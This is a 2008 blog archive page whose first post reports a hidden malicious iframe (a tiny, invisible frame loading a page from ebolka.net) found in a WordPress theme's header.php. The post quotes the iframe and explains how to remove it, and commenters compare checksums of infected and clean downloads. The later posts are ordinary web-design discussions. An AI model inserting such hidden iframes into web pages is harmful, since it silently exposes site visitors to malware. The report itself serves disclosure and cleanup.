Updates from November, 2008 Toggle Comment Threads | Keyboard Shortcuts

  • Akhmad Fathonih 10:29 pm on 11/19/2008 Permalink | Reply  

    Fontella theme contains malware, google said 

    This is what I found in my blog, after installing fontella:

    <iframe src="http://ebolka.net/lc344.html" width=2 height=2 style=display:none></iframe>

    I check it today using chrome. Chrome told me that my blog contains something unsecure from ebolka.net. A view source explains all.I’ve removed the iframe right away.

    So, in case you are using the same theme. Do remove the iframe in header.php.

    Update:

    Fontella author has confirmed (see comment section) that the original theme has no malware. I must have downloaded this theme somewhere else. So, if you are downloading directly from granimpetu.com, you’ll be safe.

     
    • Horacio Bella 2:16 am on 11/20/2008 Permalink

      The original theme (http://granimpetu.com/fontella/) don’t have any malware.
      From where you donwload it?

      Horacio Bellas last blog post..WordPress 2.6 bajado 3 millones de veces

    • Akhmad Fathonih 5:22 pm on 11/20/2008 Permalink

      I’m sorry if I had generated such a bad image on Fontella. I cannot clearly recall where I download Fontella. I must have download it somewhere else. I need to check my Download Archive at home.

      I love this simple theme.

    • webart 1:26 am on 12/5/2008 Permalink

      same problem
      please post a download link

    • Tracy Rosen 4:33 am on 11/14/2009 Permalink

      I had the same issue, noticed for the first time today. I had originally downloaded it from granimpetu.

      Thanks for letting me know how to get rid of it!

    • Ed B 12:05 am on 12/16/2009 Permalink

      Well, I downloaded directly from granimpetu and have the iframe (warnings in FFox and Chrome).

      The MD5 checksum of the file I downloaded is as follows:

      946d01af21507d0eff8fd23aeb40bd0f fontella_en_23.zip

      Can anyone point me to a link containing a “clean” theme?

    • Ed B 12:13 am on 12/16/2009 Permalink

      Update:

      I just re-downloaded the (English) theme from Horacio’s start page.

      THIS file does NOT contain the alleged malware:

      http://granimpetu.com/archivos/otros/fontella_en.zip

      MD5 checksum: 97fefb173e9324281e57d18ae28ed362 fontella_en.zip

      This file DOES contain the alleged malware (specifically, in header.php):

      http://granimpetu.com/archivos/otros/fontella_en_23.zip

      MD5 checksum: 946d01af21507d0eff8fd23aeb40bd0f fontella_en_23.zip

      Hope this helps!

      Otherwise: great theme :=)

  • Akhmad Fathonih 9:21 am on 11/12/2008 Permalink | Reply
    Tags: , communication,   

    Conversation Based Design 

    Flickr pages is a conversation based design. This Photo Clip wordpress theme is also a conversation based design. They communicate the pciture. Their design decision engaging a “let’s talk about this picture” activity. Youtube is almost there, but I feel it a bit bloated in UI term.

    So, what about blog. I haven’t found any wordpress theme designed based on conversation. Designed to promote conversation. Most of the conversation is still depending on how controversial the title, how hot the image, and who writes it. Design? Design looks dull. Always giving spotlight to what the author write. Ignoring the fact that the real value is the conversation beneath it.

    Maybe Friendfeed design is close to what I’m looking for. You can go to a friendfeed room to see the conversation. Plurk also sporting a quite useful UI for bird-viewing and intensive interaction. Hmm, but does it fit blog unique characteristic? Any designer felt challenged on this issue?

    Conversation based design is the new magazine style theme. It will be the new black!

    So, what would be crucial in conversation based design? Comments deserve more. Commentator deserve more. Articles should be presented together with comments, anywhere, to present conversation. Comment form should be non-hideous. Comment first, identity is second.

    Could you identify more?

     
  • Akhmad Fathonih 5:18 pm on 7/17/2008 Permalink | Reply
    Tags: Design, masterpage, mockup   

    Guest Blogger: Mockup vs Masterpages 

    Setelah sekian lama saya berharap, akhirnya Herman Saksono berkenan mengisi blog yang kembali sepi ini. Sebagai seorang pemerhati dan praktisi topik design, usability, etc, kali ini Herman Saksono menuliskan topik tentang Mockup versus Masterpage. Mana yang lebih utama, mana yang efektif? Mari kita simak bersama-sama.

    Mas-mas di 37signals pernah bilang betapa tidak efektifnya mendesain UI dengan Photoshop. Maksudnya: tidak efektif kalau dibandingkan dengan mendesain langsung di HTML dan CSS. Saya tergolong orang yang fifty-fifty setuju dan tidak setuju dengan opini tersebut.

    Saya, dan teman-teman saya, punya kebiasaan memisahkan proses desain web menjadi dua bagian: bagian mendesain dengan aplikasi raster (biasanya Photoshop), dan mendesain HTML-nya (sekaligus CSS dan JS). Yang pertama disebut mockup; yang kedua disebut masterpage.

    Sebuah mockup berupa gambar tampilan aplikasi, sementara masterpage sudah berbentuk HTML lengkap dengan CSS-nya. Dalam kondisi ideal, kami selalu membuat mockup terlebih dahulu. Baru setelah disetujui klien, kami mulai membikin master-page-nya.

    Tahap pembuatan mockup sangat cocok untuk merancang palet warna dan bereksperimen tata-letak. Pemilihan tipografi juga terasa lebih kreatif pada tahap ini. Aplikasi semacam Photoshop memang sangat fleksibel. Tidak ada div yang mengkotak-kotakkan ataupun pilihan fonta yang terbatas. Lagipula, memilih warna dengan bilangan heksadesimal semacam #42a070 jelas-jelas tidak asyik.

    Permasalahannya, mendesain di Photoshop itu memang terasa bertele-tele bagi orang-orang yang sudah khatam HTML dan CSS. Membuat kotak dengan border 1 piksel jauh lebih cepat kalau dibikin di HTML, daripada di Photoshop. Selain itu, desainer bisa kesusahan kalau disuruh merancang interaction di Photoshop.

    Disinilah peran masterpage beraksi. Masterpage yang dibangun atas HTML + CSS + JS memang sangat ringkas untuk diulik. Membuat tata letak yang sederhana jelas lebih cepat kalau dirancang di tahap ini. Apalagi kalau klien minta dibuatin user experience pakai animasi, fade-in, fade-out.

    Sayangnya, sekali lagi, model layout ala HTML yang kaku agak membatasi kreativitas desainer untuk menciptakan peletakan yang ‘mendobrak’.

    Oleh karena itu, saya rasa tahap mockup dan masterpage memang tidak bisa eksklusif. Keduanya harus dikerjakan berurutan. Perkara mana yang lebih lama, semestinya lebih lama pada tahap masterpage, karena pada tahap inilah user experience mulai disusun.

    Selain itu, ada baiknya kedua tahap itu dikerjakan oleh orang yang paham desain dan koding, supaya tidak ada gagasan UX yang terputus ketika mockup masuk ke tahap masterpage.

    Herman Saksono is a user-experience lobbyist wannabe who love his cats.

     
    • Ivan 4:01 am on 7/18/2008 Permalink

      Menurutku, definisi UI yg efektif adalah “Sesuatu yang Jelas & Singkat untuk mencapai suatu tujuan (dan informatif)”

      Untuk prosesnya, bisa dimulai dengan Photoshop, agar link/button yang diinginkan terlihat jelas dibanding elemen2 lainnya.

      Untuk FLOW nya, tidak bisa pakai photoshop. Perlu sesuatu yg bisa dirasakan, maka perlu MockUp.

      Nah, balik ke kamunya. Anda Designer atau Coder. Kalo designer, mungkin photoshop jauh lebih gampang. Paling bikin beberapa screenshot udah jadi.

      Kalo anda seorang coder, mungkin pinginnya langsung jadi flownya, baru tempelin design nya :)

      Ivans last blog post..Online Conversation in Social Media

    • Anjar Priandoyo 8:39 am on 7/18/2008 Permalink

      Tergantung fungsi websitenya ya, tapi secara umum menurut saya MasterPage lebih menguntungkan.
      *pendapat pemula

      Anjar Priandoyos last blog post..List of Headhunter in Indonesia

    • Eftu 11:14 am on 7/18/2008 Permalink

      Yang di 37Signal itu kayaknya untuk desain aplikasi, bukan bicarain frontend.

      (ada penjelasan authornya kok di komentar)

    • leksa 4:03 pm on 7/18/2008 Permalink

      kalao buat desainer web abal2 seperti diriku,..
      bermain dengan HTML/CSS/JS lebih mudah dan bisa bereksperimen lebih banyak,…

      tapi itu semua juga karena saya bodo dalam hal design potosop-nya :( ..

      ajarin mockup photoshop, Mon..

      leksas last blog post..Setahun

    • merahitam 11:32 pm on 7/18/2008 Permalink

      Duh, aku meraba-raba membayangkannya.

      Mon, ajarin dong. Biar tidak meraba-raba lagi. :(

    • Herman Saksono 9:41 pm on 7/20/2008 Permalink

      “Yang di 37Signal itu kayaknya untuk desain aplikasi, bukan bicarain frontend.”

      Saya memang tidak pernah membedakan proses desain untuk aplikasi ataupun frontend. Dua-duanya tetap harus kreatif, walaupun masing-masing punya constraint sendiri.

      @Ivan, tulisan saya tersebut memang konteksnya proses mendesain untuk desainer UI, bukan programmer. Contoh 37signals memang agak membiaskan ya, padahal maksud saya itu cuma colekan aja. :D

    • paydjo.Net 6:58 am on 7/21/2008 Permalink

      kalo aku sih terserah kamu mon, mo mockup dulu ato masterpage dulu.
      yang penting buruan kerjain biar cepet kelar, tau beres aja dech ;) )

      paydjo.Nets last blog post..WordPress 2.6

    • Akhmad Fathonih 3:00 pm on 7/21/2008 Permalink

      Dari titik ini sepertinya bisa berlanjut ke tips and trik pembuatan UI deh :D . I wonder Momon will write about it someday. I’ve been wishing for some low-curve path course for non-artistic geek..

    • sapimoto 5:00 pm on 8/1/2008 Permalink

      Terimakasih pembelajarannya, tips yang mantap…
      Mohon ijin save artikelnya….
      Terimakasih…

      sapimotos last blog post..Budaya Komentar

c
compose new post
j
next post/next comment
k
previous post/previous comment
r
reply
e
edit
o
show/hide comments
t
go to top
l
go to login
h
show/hide help
shift + esc
cancel